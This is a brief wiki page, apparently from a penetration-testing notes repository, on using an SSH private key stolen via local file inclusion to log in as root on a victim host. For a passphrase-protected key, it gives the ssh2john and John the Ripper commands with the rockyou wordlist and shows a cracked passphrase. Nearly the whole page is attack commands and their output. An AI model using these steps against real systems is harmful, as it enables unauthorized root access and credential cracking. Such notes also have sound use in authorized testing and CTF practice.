-
Notifications
You must be signed in to change notification settings - Fork 14
Login with private key
lethanhtung01011980 edited this page Apr 23, 2020
·
5 revisions
- Able to get public and/or private key via LFI
- To login using private key
We login with the private key, no password needed:
-
ssh -i id_rsa.key root@victim_ip
without password gustateamo
-
ssh2john id_rsa.key => id_rsa.key:$ssh2$2d2d2d2d...
-
ssh2john id_rsa.key > hash
-
john hash --fork=25 -w=/usr/share/wordlists/rockyou.txt
-
john --show hash => id_rsa.key:gustateamo